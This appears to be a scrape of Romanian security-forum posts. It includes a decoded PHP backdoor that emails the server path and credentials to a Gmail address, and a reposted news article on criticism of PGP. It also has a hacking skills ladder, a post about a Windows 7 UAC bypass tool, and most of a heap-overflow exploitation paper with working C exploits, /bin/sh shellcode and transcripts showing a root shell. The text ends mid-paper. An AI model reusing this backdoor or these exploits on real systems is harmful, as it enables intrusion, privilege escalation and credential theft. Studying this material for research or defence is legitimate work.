  17. Backdoor: <?php eval(base64_decode('JHNpdGUgPSAid3d3LmRldi1wdHMuY29tL3ZiIjsNCmlmKCFlcmVnKCRzaXRlLCAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpDQp7DQokdG8gPSAic2F0dGlhMzRAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCBVcGxvYWRlZCI7DQokaGVhZGVyID0gImZyb206IE5ldyBTaGVsbCA8c2FoYTIxQGRldi1wdHMuY29tPiI7DQokbWVzc2FnZSA9ICJMaW5rIDogaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIlxyXG4iOw0KJG1lc3NhZ2UgLj0gIlBhdGggOiAiIC4gX19maWxlX187DQokbWVzc2FnZSAuPSAiIFVzZXIgOiAiIC4gJHVzZXI7DQokbWVzc2FnZSAuPSAiIFBhc3MgOiAiIC4gJHBhc3M7DQokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQplY2hvICIiOw0KZXhpdDsNCn0=')); ?> Adica: $site = "www.dev-pts.com/vb";if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "sattia34@gmail.com"; $subject = "New Shell Uploaded"; $header = "from: New Shell <saha21@dev-pts.com>"; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $message .= " User : " . $user; $message .= " Pass : " . $pass; $sentmail = mail($to, $subject, $message, $header); echo ""; exit; }
  18. Adica esti bun doar la dat din gura.
  19. Cryptography Expert — PGP Encryption is Fundamentally Broken, Time for PGP to Die Tuesday, August 19, 2014 Wang Wei A senior cryptography expert has claimed multiple fundamental issues in PGP - an open source end-to-end encryption standard to secure email. PGP or Pretty Good Privacy, a program written in 1991, uses symmetric public key cryptography and hashing that allow both Privacy and Security, as well as Authenticity. Privacy and Security ensure users to exchange messages securely and Authenticity proves the origin of those messages. But PGP is a complicated multi-step process, which requires users to keep track of the public keys of other users in order to communicate. Despite clumsiness of the PGP implementation, the popular Internet giants such as Google and Yahoo! have looked forward to integrate it into their popular email services. The complexity of PGP doesn’t make it hard to implement and use, but it makes it insecure as well. A respected research professor Matthew Green, who lectures in computer science and cryptography at Johns Hopkins University in Maryland, argued that it's "time for PGP to die", describing the high-quality software as "downright unpleasant". KEY USABILITY ISSUES Researcher says that the problem lies in the nature of “PGP public keys” themselves, which are large and contain lots of extraneous information, therefore are really difficult to either print the keys on a business card or manually compare them. “You can write this off to a quirk of older technology, but even modern elliptic curve implementations still produce surprisingly large keys,” Green wrote in his personal blog post. “Since PGP keys aren't designed for humans, you need to move them electronically. But of course humans still need to verify the authenticity of received keys, as accepting an attacker-provided public key can be catastrophic.” “PGP addresses this with a hodgepodge of key servers and public key fingerprints. These components respectively provide (untrustworthy) data transfer and a short token that human beings can manually verify. While in theory this is sound, in practice it adds complexity, which is always the enemy of security.” KEY MANAGEMENT ISSUES According to the researcher, PGP key management "sucks." As Green says, "Transparent (or at least translucent) key management is the hallmark of every successful end-to-end secure encryption system." Also, he says that there is "the need to trust a central authority to distribute keys," and as we know that Google, Yahoo and other major email providers will soon offer PGP encryption for their users, i.e., in other words, they will become the central authority to distribute the keys among their users. So, one possible consequence of this is that users could be tricked into accepting a false replacement key from a key server or in some other way confuse their key management to the point of corrupting a communication path that used to be safe and allowing a man in the middle into the game. Assume, just in case if these central authorities are given order by law enforcement agencies or government to perform this task, your game is over. SECRECY ISSUES Green also complained that there's no forward secrecy, which means that if my private key is obtained by any intruder, it can be used to decrypt all my previously encrypted files and personal messages as well. But according to the researcher, the criticism is of "terrible mail client implementations." “Many PGP-enabled mail clients make it ridiculously easy to send confidential messages with encryption turned off, to send unimportant messages with encryption turned on, to accidentally send to the wrong person's key (or the wrong subkey within a given person's key),” he wrote. “They demand you encrypt your key with a passphrase, but routinely bug you to enter that passphrase in order to sign outgoing mail -- exposing your decryption keys in memory even when you're not reading secure email.” It's surprising that we have come a long way since the 1990s, but the usability of PGP has improved just a little. The Federal Government was so alarmed of people communicating securely using PGP email encryption that they started a criminal investigation of Phil Zimmerman, who offered PGP in 1991. At the beginning of the month, Yahoo! announced to support end-to-end encryption using a fork of Google's secure end-to-end email extension. The outcome is that both Gmail and Yahoo! Mail are moving towards support PGP for encrypting mail. "As transparent and user-friendly as the new email extensions are, they're fundamentally just reimplementations of OpenPGP - and non-legacy-compatible ones, too," Green states. According to Green, the solution of the problem is to stop plugging encryption software into today's plaintext email systems, and instead build networks that are designed from the base level to protect messages from eavesdroppers. He suggested TextSecure and DarkMail as potentially interesting projects that are looking forward to this direction. Sursa: Cryptography Expert — PGP Encryption is Fundamentally Broken, Time for PGP to Die
  20. Poate o sa para ciudat, dar am facut aceasta lista pentru ca asa am gandit ca evolueaza lucrurile. Am luat in pasi marunti lucrurile, de la folosirea unor programe pentru a face diverse rahaturi, la invatarea unor limbaje simple ca HTML, evolutia la niste limbaje pe parte de server (PHP) si comunicatia cu bazele de date (MySQL). Ei bine, numai dupa invatarea acestor lucruri poate sa inteleaga cineva ce e ala XSS si SQLI, dar exista multe persoane care citesc doua tutoriale de 2 lei si considera ca "stiu" aceste notiuni. Am incadrat apoi doua limbaje (mai des folosite) pentru programare aplicatiilor Desktop. Consider ca nivelul acestora si cunostintele necesare sunt mai ridicate decat pentru un limbaj pe parte de server, deosebirea principala fiind aceea ca pe parte de server limbajele sunt de scripting (interpretate) iar pe Desktop sunt limbaje de programare (compilate). In general. Trecem apoi la partea de retele incepand cu HTTP, notiune pe care ar trebui sa o cunoasca toata lumea, apoi la lucruri mai avansate: TCP/IP dar la nivel de protocoale: header TCP si header IP, realizarea in 3-4 pasi (SYN...) a unei conexiuni TCP etc. Sunt destul de putine persoane care se intereseaza de astfel de noituni care devin uneori complicate, de aceea le-am plasat atat de jos. Trecem si la sisteme de operare. Desi pentru Windows-ul nu e neaparat asa simplu cum pare, e o trecere destul de dificila de la Windows la Linux pentru ca sunt pur si simplu diferite. Exista insa doua tipuri de oameni: aia cu Ubuntu (majoritatea fiind ca "aia cu Windows") - adica persoane care nu stiu sa dea 2-3 comenzi in terminat, doar un sudo apt-get install, si cealalta categorie care stie sa instaleze un program din surse, sa configureze un server si sa opreasca niste servicii. Mai sunt apoi persoanele care stiu sa scrie un script in bash, sa faca un grep, un sed sau un script awk. Notiunea "Penetration testing" am pus-o in mod deliberat dupa toate aceste notiuni deoarece consider ca un penetration tester trebuie sa cunoasca TOATE aceste notiuni. Spun asta deoarece observ multi ratati care se considera pentesteri deoarece pun un <script>alert(1)</script> intr-un textbox de search si "Vai, am gasit XSS!". Nu. Lucrez ca Penetration Tester si asta inseamna sa cunosti "mult din fiecare". Dupa acest nivel, exista dupa parerea mea, "nivelul low-level". Aici ajung cei care au cunostinte de Assembler, dar merg mai departe la intelegerea interna a sistemelor de operare (adica kernel), cei care fac reverse engineering (pe malware, chiar si crack-uri) si cel mai avansat nivel la care poate ajunge cineva consider ca e la nivelul de "Exploit development". Asadar, cei care gasesc si exploateaza un Use-after-Free in Internet Explorer, un Type-confusion in Adobe Reader etc. se afla pe cel mai stimabil nivel. IT Security level: 0. Vreau sa sparg parole (generic vorbind) 1. Folosire Trojan/Keylogger (ceea ce ii atrage pe incepatori - "hackuri") 2. Folosire scanner (va simtiti? ) - Luati-o altfel: folosirea diverselor programe (click, click, shit) 3. HTML (un tabel, un iframe, niste imagini cu link...) 4. HTML + Javascript (cel putin notiuni elementare de Javascript) 5. XSS (pentru ca sunt persoane care [cred ca] "stiu" chiar daca nu stiu PHP) 6. SQL Injection (ca mai sus, persoane care nu stiu ce face acel "union" dar se lauda ca "stiu" SQLI) 7. PHP (ASP, JSP - cunoasterea limbajului) 8. MySQL (Oracle, MSSQL - macar SELECT/UPDATE/INSERT/DELETE) 9. Linux (Ubuntu sau alt "GUI only") 10. C# & .NET (diverse clase) 11. C/C++ (pointeri, clase) 12. HTTP (request/response) 13. Networking (TCP/IP) 14. Linux (RedHat/CentOS - configurare, instalare din surse) 15. Shell scripting (grep, sed, awk) 16. Penetration testing (tot ce e mai sus: Web security, Linux, Networking, Programare) 17. ASM (mov, push, pop, lucruri de baza) 18. OS internals (memory management, procese, formate PE/ELF) 19. Reverse Engineering (debugging) 20. Exploit development (scriere shellcodes, gasire si exploatare buffer overflows, use after free...) Am facut aceasta lista pentru a putea privi cu totii in mare ceea ce inseamna sa fii "Security researcher" sa zicem (generic vorbind) si sa poata vedea cu totii unde au ajuns si unde ar putea sa ajunga. Sunt constient ca unele lucruri nu au legatura intre ele (ASM si SQLI) dar consider ca notiunile necesare sunt mult mai avansate pentru ASM fata de SQL Injection. Nu ma intelegeti gresit, nu subestimez niciun nivel si nu consider ca cineva trebuie sa cunoasca la perfectie toate notiunile enumerate pentru ca nu exista persoane care pot face acest lucru. Sunt 100% sigur ca nu exista aici o persoana care a cunoasca TOATE tag-urile si atributele din HTML. Acelasi lucru se aplica si pentru celelalte lucruri. Sigur, lista nu este nici pe departe completa, dar ofera o idee de ansablu. Daca nu sunteti de acord sau aveti idei de imbunatatire astept comentarii. In principal astept de la toti un post cu un numar. Atat. De fapt, nici nu e nevoie sa postati, doar ganditi-va la cunostintele voastre privind ansamblul de cunostinte pe care le poate avea cineva. O sa incep eu: sunt pe la nivelurile 18-19, ma lupt cu ele, dar mai e cale lunga pana sa le stapanesc.
  21. Program, Source Code and Step-by-Step Guide While Windows 7 was still in beta Microsoft said this was a non-issue, and ignored my offers to give them full details for several months. so there can't be an issue with making everything public now. Win7ElevateV2.zip (32-bit and 64-bit binaries; use the version for your OS.) Win7ElevateV2_Source.zip (C++ source code, and detailed guide to how it works.) Source in HTML format (for browsing online) Step-by-step guide (description of what the code does) This works against the RTM (retail) and RC1 versions of Windows 7. It probably won't work with the old beta build 7000 due to changes in which apps can auto-elevate. Microsoft could block the binaries via Windows Defender (update: they now do via MSE), or plug the CRYPTBASE.DLL hole, but unless they fix the underlying code-injection / COM-elevation problem the file copy stuff will still work. Fixing only the CRYPTBASE.DLL part, or blocking a particular EXE or DLL, just means someone has to find a slightly different way to take advantage of the file copy part. Finding the CRYPTBASE.DLL method took about 10 minutes so I'd be surprised if finding an alternative took long. Even if the hole is fixed, UAC in Windows 7 will remain unfair on third-party code and inflexible for users who wish to use third-party admin tools. Sursa: Windows 7 UAC whitelist: Code-injection Issue (and more)
  22. Exploiting The Wilderness by Phantasmal Phantasmagoria phantasmal@hush.ai - ---- Table of Contents ------------- 1 - Introduction 1.1 Prelude 1.2 The wilderness 2 - Exploiting the wilderness 2.1 Exploiting the wilderness with malloc() 2.2 Exploiting the wilderness with an off-by-one 3 - The wilderness and free() 4 - A word on glibc 2.3 5 - Final thoughts -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------ Exploiting The Wilderness by Phantasmal Phantasmagoria phantasmal@hush.ai - ---- Table of Contents ------------- 1 - Introduction 1.1 Prelude 1.2 The wilderness 2 - Exploiting the wilderness 2.1 Exploiting the wilderness with malloc() 2.2 Exploiting the wilderness with an off-by-one 3 - The wilderness and free() 4 - A word on glibc 2.3 5 - Final thoughts - ------------------------------------ - ---- Introduction ------------------ - ---- Prelude This paper outlines a method of exploiting heap overflows on dlmalloc based glibc 2.2 systems. In situations where an overflowable buffer is contiguous to the wilderness it is possible to acheive the aa4bmo primitive [1]. This article is written with an x86/Linux target in mind. It is assumed the reader is familiar with the dlmalloc chunk format and the traditional methods of exploiting dlmalloc based overflows [2][3]. It may be desired to obtain a copy of the complete dlmalloc source code from glibc itself, as excerpts are simplified and may lose a degree of context. - ---- The wilderness The wilderness is the top-most chunk in allocated memory. It is similar to any normal malloc chunk - it has a chunk header followed by a variably long data section. The important difference lies in the fact that the wilderness, also called the top chunk, borders the end of available memory and is the only chunk that can be extended or shortened. This means it must be treated specially to ensure it always exists; it must be preserved. The wilderness is only used when a call to malloc() requests memory of a size that no other freed chunks can facilitate. If the wilderness is sufficiently large enough to handle the request it is split in to two, one part being returned for the call to malloc(), and the other becoming the new wilderness. In the event that the wilderness is not large enough to handle the request, it is extended with sbrk() and split as described above. This behaviour means that the wilderness will always exist, and furthermore, its data section will never be used. This is called wilderness preservation and as such, the wilderness is treated as the last resort in allocating a chunk of memory [4]. Consider the following example: /* START wilderness.c */ #include <stdio.h> int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); /* [A] */ strcpy(first, argv[1]); /* [B] */ second = (char *) malloc(1020); /* [C] */ strcpy(second, "polygoria!"); printf("%p | %s\n", first, second); } /* END wilderness.c */ It can be logically deduced that since no previous calls to free() have been made our malloc() requests are going to be serviced by the existing wilderness chunk. The wilderness is split in two at [A], one chunk of 1024 bytes (1020 + 4 for the size field) becomes the 'first' buffer, while the remaining space is used for the new wilderness. This same process happens again at [C]. Keep in mind that the prev_size field is not used by dlmalloc if the previous chunk is allocated, and in that situation can become part of the data of the previous chunk to decrease wastage. The wilderness chunk does not utilize prev_size (there is no possibility of the top chunk being consolidated) meaning it is included at the end of the 'first' buffer at [A] as part of its 1020 bytes of data. Again, the same applies to the 'second' buffer at [C]. The wilderness chunk being handled specially by the dlmalloc system led to Michel "MaXX" Kaempf stating in his 'Vudo malloc tricks' [2] article, "The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement". It is this special handling of the wilderness that we will be manipulating in our exploits, turning the dangerous opponent into, perhaps, an interesting conquest. - ------------------------------------ - ---- Exploiting the wilderness ----- - ---- Exploiting the wilderness with malloc() Looking at our sample code above we can see that a typical buffer overflow exists at [B]. However, in this situation we are unable to use the traditional unlink technique due to the overflowed buffer being contiguous to the wilderness and the lack of a relevant call to free(). This leaves us with the second call to malloc() at [C] - we will be exploiting the special code used to set up our 'second' buffer from the wilderness. Based on the knowledge that the 'first' buffer borders the wilderness, it is clear that not only can we control the prev_size and size elements of the top chunk, but also a considerable amount of space after the chunk header. This space is the top chunk's unused data area and proves crucial in forming a successful exploit. Lets have a look at the important chunk_alloc() code called from our malloc() requests: /* Try to use top chunk */ /* Require that there be a remainder, ensuring top always exists */ if ((remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE) /* [A] */ { ... malloc_extend_top(ar_ptr, nb); ... } victim = top(ar_ptr); set_head(victim, nb | PREV_INUSE); top(ar_ptr) = chunk_at_offset(victim, nb); set_head(top(ar_ptr), remainder_size | PREV_INUSE); return victim; This is the wilderness chunk code. It checks to see if the wilderness is large enough to service a request of nb bytes, then splits and recreates the top chunk as described above. If the wilderness is not large enough to hold the minimum size of a chunk (MINSIZE) after nb bytes are used, the heap is extended using malloc_extend_top(): mchunkptr old_top = top(ar_ptr); INTERNAL_SIZE_T old_top_size = chunksize(old_top); /* [B] */ char *brk; ... char *old_end = (char*)(chunk_at_offset(old_top, old_top_size)); ... brk = sbrk(nb + MINSIZE); /* [C] */ ... if (brk == old_end) { /* [D] */ ... old_top = 0; } ... /* Setup fencepost and free the old top chunk. */ if(old_top) { /* [E] */ old_top_size -= MINSIZE; set_head(chunk_at_offset(old_top, old_top_size + 2*SIZE_SZ), 0|PREV_INUSE); if(old_top_size >= MINSIZE) { /* [F] */ set_head(chunk_at_offset(old_top, old_top_size), (2*SIZE_SZ)|PREV_INUSE); set_foot(chunk_at_offset(old_top, old_top_size), (2*SIZE_SZ)); set_head_size(old_top, old_top_size); chunk_free(ar_ptr, old_top); } else { ... } } The above is a simplified version of malloc_extend_top() containing only the code we are interested in. We can see the wilderness being extended at [C] with the call to sbrk(), but more interesting is the chunk_free() request in the 'fencepost' code. A fencepost is a space of memory set up for checking purposes [5]. In the case of dlmalloc they are relatively unimportant, but the code above provides the crucial element in exploiting the wilderness with malloc(). The call to chunk_free() gives us a glimpse, a remote possibility, of using the unlink() macro in a nefarious way. As such, the chunk_free() call is looking very interesting. However, there are a number of conditions that we have to meet in order to reach the chunk_free() call reliably. Firstly, we must ensure that the if statement at [A] returns true, forcing the wilderness to be extended. Once in malloc_extend_top(), we have to trigger the fencepost code at [E]. This can be done by avoiding the if statement at [D]. Finally, we must handle the inner if statement at [F] leading to the call to chunk_free(). One other problem arises in the form of the set_head() and set_foot() calls. These could potentially destroy important data in our attack, so we must include them in our list of things to be handled. That leaves us with four items to consider just in getting to the fencepost chunk_free() call. Fortunately, all of these issues can be solved with one solution. As discussed above, we can control the wilderness' chunk header, essentialy giving us control of the values returned from chunksize() at [A] and [B]. Our solution is to set the overflowed size field of the top chunk to a negative value. Lets look at why this works: - A negative size field would trigger the first if statement at [A]. This is because remainder_size is signed, and when set to a negative number still evaluates to less than MINSIZE. - The altered size element would be used for old_top_size, meaning the old_end pointer would appear somewhere other than the actual end of the wilderness. This means the if statement at [D] returns false and the fencepost code at [E] is run. - The old_top_size variable is unsigned and would appear to be a large positive number when set to our negative size field. This means the statement at [F] returns true, as old_top_size evaluates to be much greater than MINSIZE. - The potentially destructive chunk header modifying calls would only corrupt unimportant padding within our overflowed buffer as the negative old_top_size is used for an offset. Finally, we can reach our call to chunk_free(). Lets look at the important bits: INTERNAL_SIZE_T hd = p->size; ... if (!hd & PREV_INUSE)) /* consolidate backward */ /* [A] */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); /* [B] */ sz += prevsz; if (p->fd == last_remainder(ar_ptr)) islr = 1; else unlink(p, bck, fwd); } The call to chunk_free() is made on old_top (our overflowed wilderness) meaning we can control p->prev_size and p->size. Backward consolidation is normally used to merge two free chunks together, but we will be using it to trigger the unlink() bug. Firstly, we need to ensure the backward consolidation code is run at [A]. As we can control p->size, we can trigger backward consolidation simply by clearing the overflowed size element's PREV_INUSE bit. From here, it is p->prev_size that becomes important. As mentioned above, p->prev_size is actually part of the buffer we're overflowing. Exploiting dlmalloc by using backwards consolidation was briefly considered in the article 'Once upon a free()' [3]. The author suggests that it is possible to create a 'fake chunk' within the overflowed buffer - that is, a fake chunk relatively negative to the overflowed chunk header. This would require setting p->prev_size to a small positive number which in turn gets complemented in to its negative counterpart at [B] (digression: please excuse my stylistic habit of replacing the more technically correct "two's complement" with "complement"). However, such a small positive number would likely contain NULL terminating bytes, effectively ending our payload before the rest of the overflow is complete. This leaves us with one other choice; creating a fake chunk relatively positive to the start of the wilderness. This can be achieved by setting p->prev_size to a small negative number, turned in to a small positive number at [B]. This would require the specially crafted forward and back pointers to be situated at the start of the wilderness' unused data area, just after the chunk header. Similar to the overflowed size variable discussed above, this is convinient as the negative number need not contain NULL bytes, allowing us to continue the payload into the data area. For the sake of the exploit, lets go with a prev_size of -4 or 0xfffffffc and an overflowed size of -16 or 0xfffffff0. Clearly, our prev_size will get turned into an offset of 4, essentialy passing the point 4 bytes past the start of the wilderness (the start being the prev_size element itself) to the unlink() macro. This means that our fake fwd pointer will be at the wilderness + 12 bytes and our bck pointer at the wilderness + 16 bytes. An overflowed size of -16 places the chunk header modifying calls safely into our padding, while still satisfying all of our other requirements. Our payload will look like this: |...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPPP|SSSSWWWWFFFFBBBBWWWWWWWW...| A = Target buffer that we control. Some of this will be trashed by the chunk header modifying calls, important when considering shellcode placement. P = The prev_size element of the wilderness chunk. This is part of our target buffer. We set it to -4. S = The overflowed size element of the wilderness chunk. We set it to -16. W = Unimportant parts of the wilderness. F = The fwd pointer for the call to unlink(). We set it to the target return location - 12. B = The bck pointer for the call to unlink(). We set it to the return address. We're now ready to write our exploit for the vulnerable code discussed above. Keep in mind that a malloc request for 1020 is padded up to 1024 to contain room for the size field, so we are exactly contiguous to the wilderness. $ gcc -o wilderness wilderness.c $ objdump -R wilderness | grep printf 08049650 R_386_JUMP_SLOT printf $ ./wilderness 123 0x8049680 | polygoria! /* START exploit.c */ #include <string.h> #include <stdlib.h> #include <unistd.h> #define RETLOC 0x08049650 /* GOT entry for printf */ #define RETADDR 0x08049680 /* start of 'first' buffer data */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052); p = payload; memset(p, '\x90', 1052); /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* We put the shellcode safely away from the possibly * corrupted area */ p += 1020 - 64 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the prev_size and overflow size fields */ p += sizeof(shellcode) + 64 - 4; *(long *) p = -4; p += 4; *(long *) p = -16; /* Set up the fwd and bck of the fake chunk */ p += 8; *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR; p += 4; *(p) = '\0'; execl("./wilderness", "./wilderness", payload, NULL); } /* END exploit.c */ $ gcc -o exploit exploit.c $ ./exploit sh-2.05a# - ---- Exploiting the wilderness with an off-by-one Lets modify our original vulnerable code to contain an off-by-one condition: /* START wilderness2.c */ #include <stdio.h> int main(int argc, char *argv[]) { char *first, *second; int x; first = (char *) malloc(1020); for(x = 0; x <= 1020 && argv[1][x] != '\0'; x++) /* [A] */ first[x] = argv[1][x]; second = (char *) malloc(2020); /* [B] */ strcpy(second, "polygoria!"); printf("%p %p | %s\n", first, argv[1], second); } /* END wilderness2.c */ Looking at this sample code we can see the off-by-one error occuring at [A]. The loop copies 1021 bytes of argv[1] into a buffer, 'first', allocated only 1020 bytes. As the 'first' buffer was split off the top chunk in its allocation, it is exactly contiguous to the wilderness. This means that our one byte overflow destroys the least significant byte of the top chunk's size field. When exploiting off-by-one conditions involving the wilderness we will use a similar technique to that discussed above in the malloc() section; we want to trigger malloc_extend_top() in the second call to malloc() and use the fencepost code to cause an unlink() to occur. However, there are a couple of important issues that arise further to those discussed above. The first new problem is found in trying to trigger malloc_extend_top() from the wilderness code in chunk_alloc(). In order to force the heap to extend the size of the wilderness minus the size of our second request (2020) needs to be less than 16. When we controlled the entire size field in the section above this was not a problem as we could easily set a value less than 16, but since we can only control the least significant byte of the wilderness' size field we can only decrease the size by a limited amount. This means that in some situations where the wilderness is too big we cannot trigger the heap extension code. Fortunately, it is common in real world situations to have some sort of control over the size of the wilderness through attacker induced calls to malloc(). Assuming that our larger second request to malloc() will attempt to extend the heap, we now have to address the other steps in running the fencepost chunk_free() call. We know that we can comfortably reach the fencepost code as we are modifying the size element of the wilderness. The inner if statement leading to the chunk_free() is usually triggered as either our old_top_size is greater than 16, or the wilderness' size is small enough that controlling the least significant byte is enough to make old_top_size wrap around when MINSIZE is subtracted from it. Finally, the chunk header modifying calls are unimportant, so long as they occur in allocated memory as to avoid a premature segfault. The reason for this will become clear in a short while. All we have left to do is to ensure that the PREV_INUSE bit is cleared for backwards consolidation at the chunk_free(). This is made trivial by our control of the size field. Once again, as we reach the backward consolidation code it is the prev_size field that becomes important. We have already determined that we have to use a negative prev_size value to ensure our payload is not terminated by stray NULL bytes. The negative prev_size field causes the backward consolidation chunk_at_offset() call to use a positive offset from the start of the wilderness. However, unlike the above situation we do not control any of the wilderness after the overflowed least significant byte of the size field. Knowing that we can only go forward in memory at the consolidation and that we don't have any leverage on the heap, we have to shift our attention to the stack. The stack may initally seem to be an unlikely factor when considering a heap overflow, but in our case where we can only increase the values passed to unlink() it becomes quite convinient, especially in a local context. Stack addresses are much higher in memory than their heap counterparts and by correctly setting the prev_size field of the wilderness, we can force an unlink() to occur somewhere on the stack. That somewhere will be our payload as it sits in argv[1]. Using this heap-to-stack unlink() technique any possible corruption of our payload in the heap by the chunk header modifying calls is inconsequential to our exploit; the heap is only important in triggering the actual overflow, the values for unlink() and the execution of our shellcode can be handled on the stack. The correct prev_size value can be easily calculated when exploiting a local vulnerability. We can discover the address of both argv[1] and the 'first' buffer by simulating our payload and using the output of running the vulnerable program. We also know that our prev_size will be complemented into a positive offset from the start of the wilderness. To reach argv[1] at the chunk_at_offset() call we merely have to subtract the address of the start of the wilderness (the end of the 'first' buffer minus 4 for prev_size) from the address of argv[1], then complement the result. This leaves us with the following payload: |FFFFBBBBDDDDDDDDD...DDDDDDDDPPPP|SWWWWWWWWWWW...| F = The fwd pointer for the call to unlink(). We set it to the target return location - 12. B = The bck pointer for the call to unlink(). We set it to the return address. D = Shellcode and NOP padding, where we will return in argv[1]. S = The overflowed byte in the size field of the wilderness. We set it to the lowest possible value that still clears PREV_INUSE, 2. W = Unimportant parts of the wilderness. $ gcc -o wilderness2 wilderness2.c $ objdump -R wilderness2 | grep printf 08049684 R_386_JUMP_SLOT printf /* START exploit2.c */ #include <string.h> #include <stdlib.h> #include <unistd.h> #define RETLOC 0x08049684 /* GOT entry for printf */ #define ARGV1 0x01020304 /* start of argv[1], handled later */ #define FIRST 0x04030201 /* start of 'first', also handled later */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1028); long prev_size; p = payload; memset(p, '\x90', 1028); *(p + 1021) = '\0'; /* Set the fwd and bck for the call to unlink() */ *(long *) p = RETLOC - 12; p += 4; *(long *) p = ARGV1 + 8; p += 4; /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* Put shellcode at end of NOP sled */ p += 1012 - 4 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the special prev_size field. We actually want to * end up pointing to 8 bytes before argv[1] to ensure the * fwd and bck are hit right, so we add 8 before * complementing. */ prev_size = -(ARGV1 - (FIRST + 1016)) + 8; p += sizeof(shellcode); *(long *) p = prev_size; /* Allow for a test condition that will not segfault the * target when getting the address of argv[1] and 'first'. * With 0xff malloc_extend_top() returns early due to error * checking. 0x02 is used to trigger the actual overflow. */ p += 4; if(argc > 1) *(char *) p = 0xff; else *(char *) p = 0x02; execl("./wilderness2", "./wilderness2", payload, NULL); } /* END exploit2.c */ $ gcc -o exploit2 exploit2.c $ ./exploit2 test 0x80496b0 0xbffffac9 | polygoria! $ cat > diffex 6,7c6,7 < #define ARGV1 0x01020304 /* start of argv[1], handled later */ < #define FIRST 0x04030201 /* start of 'first', also handled later */ - --- > #define ARGV1 0xbffffac9 /* start of argv[1] */ > #define FIRST 0x080496b0 /* start of 'first' */ $ patch exploit2.c diffex patching file exploit2.c $ gcc -o exploit2 exploit2.c $ ./exploit2 sh-2.05a# - ------------------------------------ - ---- The wilderness and free() ----- Lets now consider the following example: /* START wilderness3a.c */ #include <stdio.h> int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); strcpy(first, argv[1]); free(first); second = (char *) malloc(1020); } /* END wilderness3a.c */ Unfortunately, this situation does not appear to be exploitable. When exploiting the wilderness calls to free() are your worst enemy. This is because chunk_free() handles situations directly involving the wilderness with different code to the normal backward or forward consolidation. Although this special 'top' code has its weaknesses, it does not seem possible to either directly exploit the call to free(), nor survive it in a way possible to exploit the following call to malloc(). For those interested, lets have a quick look at why: INTERNAL_SIZE_T hd = p->size; INTERNAL_SIZE_T sz; ... mchunkptr next; INTERNAL_SIZE_T nextsz; ... sz = hd & ~PREV_INUSE; next = chunk_at_offset(p, sz); nextsz = chunksize(next); /* [A] */ if (next == top(ar_ptr)) { sz += nextsz; /* [B] */ if (!(hd & PREV_INUSE)) /* [C] */ { ... } set_head(p, sz | PREV_INUSE); /* [D] */ top(ar_ptr) = p; ... } Here we see the code from chunk_free() used to handle requests involving the wilderness. Note that the backward consolidation within the 'top' code at [C] is uninteresting as we do not control the needed prev_size element. This leaves us with the hope of using the following call to malloc() as described above. In this situation we control the value of nextsz at [A]. We can see that the chunk being freed is consolidated with the wilderness. We can control the new wilderness' size as it is adjusted with our nextsz at [B], but unfortunately, the PREV_INUSE bit is set at the call to set_head() at [D]. The reason this is a bad thing becomes clear when considering the possibilites of using backward consolidation in any future calls to malloc(); the PREV_INUSE bit needs to be cleared. Keeping with the idea of exploiting the following call to malloc() using the fencepost code, there are a few other options - all of which appear to be impossible. Firstly, forward consolidation. This is made unlikely by the fencepost chunk header modifying calls discussed above, as they usually ensure that the test for forward consolidation will fail. The frontlink() macro has been discussed [2] as another possible method of exploiting dlmalloc, but since we do not control any of the traversed chunks this technique is uninteresting. The final option was to use the fencepost chunk header modifying calls to partially overwrite a GOT entry to point into an area of memory we control. Unfortunately, all of these modifying calls are aligned, and there doesn't seem to be anything else we can do with the values we can write. Now that we have determined what is impossible, lets have a look at what we can do when involving the wilderness and free(): /* START wilderness3b.c */ #include <stdio.h> int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); second = (char *) malloc(1020); strcpy(second, argv[1]); /* [A] */ free(first); /* [B] */ free(second); } /* END wilderness3b.c */ The general aim of this contrived example is to avoid the special 'top' code discussed above. The wilderness can be overflowed at [A], but this is directly followed by a call to free(). Fortunately, the chunk to be freed is not bordering the wilderness, and thus the 'top' code is not invoked. To exploit this we will be using forward consolidation at [B], the first call to free(). /* consolidate forward */ if (!(inuse_bit_at_offset(next, nextsz))) { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) { ... } else unlink(next, bck, fwd); next = chunk_at_offset(p, sz); } At the first call to free() 'next' points to our 'second' buffer. This means that the test for forward consolidation looks at the size value of the wilderness. To trigger the unlink() on our 'next' buffer we need to overflow the wilderness' size field to clear the PREV_INUSE bit. Our payload will look like this: 